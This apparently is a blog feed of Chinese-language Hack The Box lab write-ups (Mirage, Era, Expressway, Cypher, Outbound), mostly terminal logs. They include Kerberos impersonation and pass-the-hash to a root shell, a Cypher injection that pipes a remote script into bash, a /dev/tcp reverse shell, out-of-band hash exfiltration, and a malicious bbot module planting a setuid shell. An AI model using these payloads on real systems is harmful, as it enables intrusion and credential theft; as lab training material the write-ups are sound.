&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb  &amp;amp;&amp;amp; impacket-getST -spn &apos;cifs/DC01.mirage.htb&apos; -impersonate &apos;dc01$&apos; -dc-ip 10.10.11.78 &apos;mirage.htb/nathan.aadam&apos; -k -no-pass 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb  &amp;amp;&amp;amp;  impacket-getTGT mirage.htb/Administrators -dc-ip 10.10.11.78 -hashes aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3 -debug
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; impacket-getTGT mirage.htb/Administrator -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3 -dc-ip 10.10.11.78 &amp;amp;&amp;amp; export KRB5CCNAME=Administrator.ccache &amp;amp;&amp;amp; evil-winrm -i dc01.mirage.htb -r mirage.htb
2025-07-25 14:38:34.590857 (+0000) -61208.088059 +/- 0.309092 dc01.mirage.htb 10.10.11.78 s1 no-leap
CLOCK: time stepped by -61208.088059
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in Administrator.ccache
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&apos; for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; cd ..
*Evil-WinRM* PS C:\Users\Administrator&amp;gt; cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop&amp;gt; cat root.txt
c63da7265f5b208a3c340496741ed4f6
*Evil-WinRM* PS C:\Users\Administrator\desktop&amp;gt; 


&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Era</title><link>https://sinqwq.top/posts/htb-era/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-era/</guid><description>Htb-Era</description><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/fscan]
└─$ ./fscan -h 10.10.11.79

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| &apos;__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   &amp;lt;    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
10.10.11.79:80 open
10.10.11.79:21 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.79        code:302 len:154    title:302 Found 跳转url: http://era.htb/
已完成 1/2 [-] ftp 10.10.11.79:21 ftp 1 530 Login incorrect. 
已完成 1/2 [-] ftp 10.10.11.79:21 ftp ftp@123#4 530 Login incorrect. 
已完成 1/2 [-] ftp 10.10.11.79:21 ftp 123456~a 530 Login incorrect. 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.79 
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 02:48 UTC
Nmap scan report for localhost (10.10.11.79)
Host is up (0.25s latency).
Not shown: 65059 filtered tcp ports (no-response), 474 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 65.73 seconds
                                                                
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sV -sC -O -p21,80  10.10.11.79               
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 02:50 UTC
Nmap scan report for localhost (10.10.11.79)
Host is up (0.65s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.13 seconds
                                                                 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u &apos;http://era.htb&apos; -H &apos;Host: FUZZ.era.htb&apos; -w /usr/share/fuzzDicts/subdomainDicts/main.txt  -fw 4

        /&apos;___\  /&apos;___\           /&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /usr/share/fuzzDicts/subdomainDicts/main.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 221ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Expressway&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/fscan]
└─$ ./fscan -h 10.10.11.87

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| &apos;__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   &amp;lt;
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.10.11.87:22 open
[*] alive ports len is: 1
start vulscan
已完成 1/1
[*] 扫描结束,耗时: 6.042701923s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tcp 只有22开放，在扫一下udp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/st]
└─$ nmap 10.10.11.87 -sU --top-ports 100 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 12:46 UTC
Nmap scan report for 10.10.11.87
Host is up (0.30s latency).
Not shown: 95 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
999/udp  open|filtered applix
4500/udp open|filtered nat-t-ike

Nmap done: 1 IP address (1 host up) scanned in 216.24 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;500端口是isakmp，详细介绍https://book.hacktricks.wiki/en/network-services-pentesting/ipsec-ike-vpn-pentesting.html?highlight=isak#500udp---pentesting-ipsecike-vpn&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ike-scan -M expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Main Mode Handshake returned
	HDR=(CKY-R=896ea58aa4e1d5ef)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 1.520 seconds (0.66 hosts/sec).  1 returned handshake; 0 returned notify
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ike-scan -P -M -A -n fakeID expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Aggressive Mode Handshake returned
	HDR=(CKY-R=5bdd83312129eca4)
0e62a26467e53cf4d6d86fadb1e5c2cffccb9685c5b2e154b699c72c4e2263d781598c4184bba9ba8a16a82afe1ce2805c974b44c0cbedafea0913faf26e3d6577d98f5a224ff2a2e2b3b2f3f50bfb7dae8188b1048edcb5f33ab24f52e30c4b5ffc165ac4e2b08b06bdc7967ba23c27dafa0cebffaf27a813ccbac2caf70600:8e4e6173ed219bc9096bbb2510a6eef7dd863b83634d2956e3db4713446ca987553239fa2740891b82b11fbc88786ff506c2e89bc1307f89475d8b43dd497e3c8cc60ec97c8b28995a66ca98290f7768a64ccd795bcead3337ded7c80213d1ed556bfc3e3b51fc592a24416b3be667d0231662ac1fba951112e5c21bb76f50ef:cac1628b28b674d5:14e9c0b23ab79c91:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:fef061dc11285d946ff755a6f1be1c19dffe06be:1bf105df781191e3e49b96cbf07e80441a71a3166201b68f741bef1436e48067:01a3067ea9d0c665ef46f8d78fcc1702ed9201e2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt; hashcat 1.hash ~/Desktop/rockyou.txt
 06a70:freakingrockstarontheroad
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ike@expressway:~$ cat user.txt
433e5adc2f525df43da4f581c3309372
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ssh ike@10.10.11.87
ike@10.10.11.87&apos;s password:
Permission denied, please try again.
ike@10.10.11.87&apos;s password:
Last login: Wed Sep 17 10:26:26 BST 2025 from 10.10.14.77 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 7 14:21:10 2026 from 10.10.17.76
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt
433e5adc2f525df43da4f581c3309372
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ find / -group proxy -type d 2&amp;gt;/dev/null
/run/squid
/var/spool/squid
/var/log/squid
ike@expressway:~$ cd /var/log/squid
ike@expressway:/var/log/squid$ ls -la
total 28
drwxr-xr-x  2 proxy proxy 4096 Sep 16 16:02 .
drwxr-xr-x 12 root  root  4096 Jan  7 14:19 ..
-rw-r-----  1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r-----  1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r-----  1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r-----  1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz
ike@expressway:/var/log/squid$ cat access.log.1 | grep htb
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
ike@expressway:/var/log/squid$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
ike@expressway:/var/log/squid$ sudo -h offramp.expressway.htb -l
Matching Defaults entries for ike on offramp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL
ike@expressway:/var/log/squid$ sudo -h offramp.expressway.htb bash
root@expressway:/var/log/squid# cd /root
root@expressway:~# ls
root.txt
root@expressway:~# cat root.txt
116968adc368dccf77987151ba74f6d3
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Cypher</title><link>https://sinqwq.top/posts/htb-cypher/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-cypher/</guid><description>Htb-Cypher</description><pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.57 -oA nmapsacn/ports
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 07:46 UTC
Warning: 10.10.11.57 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.57
Host is up (0.40s latency).
Not shown: 37609 filtered tcp ports (no-response), 27923 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 224.87 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sT -sV -sC -O -p22,53,80 10.10.11.57 -oA nmapsacn/detail
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 07:52 UTC
Nmap scan report for 10.10.11.57
Host is up (0.57s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
53/tcp open  domain  (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=7/14%Time=6874B754%P=aarch64-unknown-linux-gnu%
SF:r(DNSVersionBindReqTCP,20,&quot;\0\x1e\0\x06\x81\x02\0\x01\0\0\0\0\0\0\x07ve
SF:rsion\x04bind\0\0\x10\0\x03&quot;);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.37 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB/CVE-2025-27591/CVE-2025-27591-PoC]
└─$ sudo nmap -sU 10.10.11.57                 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 07:47 UTC
Nmap scan report for 10.10.11.57
Host is up (0.50s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1017.22 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://cypher.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(web) ┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ dig @10.10.11.57 cypher.htb AXFR

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.20.9-1-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.10.11.57 cypher.htb AXFR
; (1 server found)
;; global options: +cmd
; Transfer failed.

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(ruby) ┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap --script=vuln -p22,53,80 10.10.11.57 -oA nmapsacn/vuln
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 07:54 UTC
Nmap scan report for 10.10.11.57
Host is up (0.45s latency).

PORT   STATE  SERVICE
22/tcp open   ssh
53/tcp closed domain
80/tcp open   http
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.

Nmap done: 1 IP address (1 host up) scanned in 1229.74 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入登录页面，尝试进行&lt;strong&gt;SQL注入&lt;/strong&gt;，得到报错回显&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
&quot;MATCH (u:USER) -[:SECRET]-&amp;gt; (h:SHA1) WHERE u.name = &apos;admin&apos;&apos; return h.value as hash&quot;
                                                            ^}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里尝试的是&lt;strong&gt;SSRF&lt;/strong&gt;外带出&lt;strong&gt;admin&lt;/strong&gt;用户的&lt;strong&gt;hash&lt;/strong&gt;值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;username&quot;:&quot;admin&apos; OR 1=1  LOAD CSV FROM &apos;http://10.10.xx.xx/ppp=&apos;+h.value AS y Return &apos;&apos;//&quot;,&quot;password&quot;:&quot;123&quot;}
9f54ca4c130be6d529a56dee59dc2b2090e43acf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是发现无法破解	
查看之前http://cypher.htb/testing/下载的.jar文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
  @Procedure(name = &quot;custom.getUrlStatusCode&quot;, mode = Mode.READ)
  @Description(&quot;Returns the HTTP status code for the given URL as a string&quot;)
  public Stream&amp;lt;StringOutput&amp;gt; getUrlStatusCode(@Name(&quot;url&quot;) String url) throws Exception {
    if (!url.toLowerCase().startsWith(&quot;http://&quot;) &amp;amp;&amp;amp; !url.toLowerCase().startsWith(&quot;https://&quot;))
      url = &quot;https://&quot; + url; 
    String[] command = { &quot;/bin/sh&quot;, &quot;-c&quot;, &quot;curl -s -o /dev/null --connect-timeout 1 -w %{http_code} &quot; + url };
    System.out.println(&quot;Command: &quot; + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;
    while ((line = errorReader.readLine()) != null)
      errorOutput.append(line).append(&quot;\n&quot;); 
    String statusCode = inputReader.readLine();
    System.out.println(&quot;Status code: &quot; + statusCode);
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
    if (!exited) {
      process.destroyForcibly();
      statusCode = &quot;0&quot;;
      System.err.println(&quot;Process timed out after 10 seconds&quot;);
    } else {
      int exitCode = process.exitValue();
      if (exitCode != 0) {
        statusCode = &quot;0&quot;;
        System.err.println(&quot;Process exited with code &quot; + exitCode);
      } 
    } 
    if (errorOutput.length() &amp;gt; 0)
      System.err.println(&quot;Error output:\n&quot; + errorOutput.toString()); 
    return Stream.of(new StringOutput(statusCode));
  }
  
  public static class StringOutput {
    public String statusCode;
    
    public StringOutput(String statusCode) {
      this.statusCode = statusCode;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到是&lt;strong&gt;apoc&lt;/strong&gt;包里面的，并且它的调用是&lt;strong&gt;custom.getUrlStatusCode&lt;/strong&gt;
值得注意的是，这里是直接把&lt;strong&gt;URL&lt;/strong&gt;拼接，然后传递给**/bin/sh**执行&lt;/p&gt;
&lt;p&gt;这里需要先返回&lt;strong&gt;h.value&lt;/strong&gt;否则在比对密码的时候会直接报错，影响后面的执行
并且联合注入要求的两个列名必须相同，也就是&lt;strong&gt;AS&lt;/strong&gt;后面接同样的列名
使用联合注入，调用这个&lt;strong&gt;custom.getUrlStatusCode&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;username&quot;: &quot;admin&apos; return h.value AS value  UNION CALL custom.getUrlStatusCode(\&quot;127.0.0.1;curl 10.10.16.86/shell.sh|bash;\&quot;) YIELD statusCode AS value  RETURN value ; //&quot;,                                                                                                                                                  
  &quot;password&quot;: &quot;123&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;custom.getUrlStatusCode&lt;/strong&gt;是必须要执行成功才会返回&lt;strong&gt;statusCode&lt;/strong&gt;，从而加入列的第二行。因此前面我插入的是&lt;strong&gt;127.0.0.1&lt;/strong&gt;，保证能够返回一个正常状态码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

# --- Bash TCP Reverse Shell ---
#
# 使用方法:
# 1. 在你的 Kali 攻击机上设置 Netcat 监听: nc -nlvp 4444
# 2. 在目标机器上执行此脚本: ./revshell.sh

KALI_IP=&quot;10.10.16.86&quot;
PORT=&quot;4444&quot;

echo &quot;[*] 正在尝试连接到 $KALI_IP:$PORT...&quot;
bash -i &amp;gt;&amp;amp; /dev/tcp/$KALI_IP/$PORT 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到初级shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;neo4j@cypher:/home/graphasm$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;graphasm@cypher:~$ sudo -l
sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat /usr/local/bin/bbot

#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == &apos;__main__&apos;:
    sys.argv[0] = re.sub(r&apos;(-script\.pyw|\.exe)?$&apos;, &apos;&apos;, sys.argv[0])
    sys.exit(main())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本来想在当前目录写入同名&lt;strong&gt;python&lt;/strong&gt;文件来进行提权，但是目录没有写的权限，查看一下是否可以写入配置来启动&lt;strong&gt;bbot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;注意到**--custom-yara-rules&lt;strong&gt;可以引入规则
因此可以尝试把&lt;/strong&gt;root.txt&lt;strong&gt;引入，并且开启&lt;/strong&gt;debug**模式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graphasm@cypher:/usr/local/bin$ sudo /usr/local/bin/bbot -cy /root/root.txt --debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我尝试读取&lt;strong&gt;ssh&lt;/strong&gt;密钥，只能读取到&lt;strong&gt;id_ed25519&lt;/strong&gt;，而且并没有&lt;strong&gt;authorized_keys&lt;/strong&gt;，因此无法&lt;strong&gt;SSH&lt;/strong&gt;登录
查看&lt;strong&gt;module&lt;/strong&gt;的目录权限，无法写入。&lt;/p&gt;
&lt;p&gt;参考一下官网上的具体配置
发现可以自己指定配置文件，并且创建新的模块。
因此先写入一个模块的目录文件 &lt;strong&gt;myconf.yml&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module_dirs:
  - /tmp/modules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在**/tmp/modules&lt;strong&gt;中写入根据模板修改后具有提权部分的代码，命名为&lt;/strong&gt;whois2.py**👇&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from bbot.modules.base import BaseModule
import os

class whois2(BaseModule):
    watched_events = [&quot;DNS_NAME&quot;] # watch for DNS_NAME events
    produced_events = [&quot;WHOIS&quot;] # we produce WHOIS events
    flags = [&quot;passive&quot;, &quot;safe&quot;]
    meta = {&quot;description&quot;: &quot;Query WhoisXMLAPI for WHOIS data&quot;}
    options = {&quot;api_key&quot;: &quot;&quot;} # module config options
    options_desc = {&quot;api_key&quot;: &quot;WhoisXMLAPI Key&quot;}
    per_domain_only = True # only run once per domain

    base_url = &quot;https://www.whoisxmlapi.com/whoisserver/WhoisService&quot;

    # one-time setup - runs at the beginning of the scan
    async def setup(self):
        os.system(&quot;cp /bin/bash /tmp/bash &amp;amp;&amp;amp; chmod u+s /tmp/bash&quot;)
        self.api_key = self.config.get(&quot;api_key&quot;)
        if not self.api_key:
            # soft-fail if no API key is set
            return None, &quot;Must set API key&quot;

    async def handle_event(self, event):
        self.hugesuccess(f&quot;Got {event} (event.data: {event.data})&quot;)
        _, domain = self.helpers.split_domain(event.data)
        url = f&quot;{self.base_url}?apiKey={self.api_key}&amp;amp;domainName={domain}&amp;amp;outputFormat=JSON&quot;
        self.hugeinfo(f&quot;Visiting {url}&quot;)
        response = await self.helpers.request(url)
        if response is not None:
            await self.emit_event(response.json(), &quot;WHOIS&quot;, parent=event)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后命令行执行，提权成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/bbot -p ./myconf.yml -m whois2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;User&lt;/code&gt;：登陆页面的&lt;strong&gt;username&lt;/strong&gt;处存在&lt;strong&gt;Cypher注入&lt;/strong&gt;，通过泄露的扩展文件可以看到，传入参数是直接通过拼接的方式传递给**/bin/sh**，因此可以构造反弹&lt;strong&gt;shell&lt;/strong&gt;。直接进入**/home/graphasm**拿到用户密码。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Root&lt;/code&gt;：查看命令的具体参数，可以将&lt;strong&gt;root.txt&lt;/strong&gt;当作规则进行引用，同时开启&lt;strong&gt;debug&lt;/strong&gt;模式，泄露出文件的具体内容。写入新的配置文件以及新的恶意模块，通过参数指定，最后成功提权到&lt;strong&gt;root&lt;/strong&gt;。&lt;/p&gt;
</content:encoded></item><item><title>Htb-Outbound</title><link>https://sinqwq.top/posts/htb-outbound/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-outbound/</guid><description>Htb-Outbound</description><pubDate>Mon, 14 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.77 -oA nmapsacn/ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 05:56 UTC
Nmap scan report for 10.10.11.77
Host is up (0.35s latency).
Not shown: 65507 filtered tcp ports (no-response), 26 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 60.42 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.77 -oA nmapsacn/detail
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 05:58 UTC
Nmap scan report for 10.10.11.77
Host is up (0.54s latency).

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.81 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;80端口源码发现是Roundcube6.10&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit  Roundcube6.10
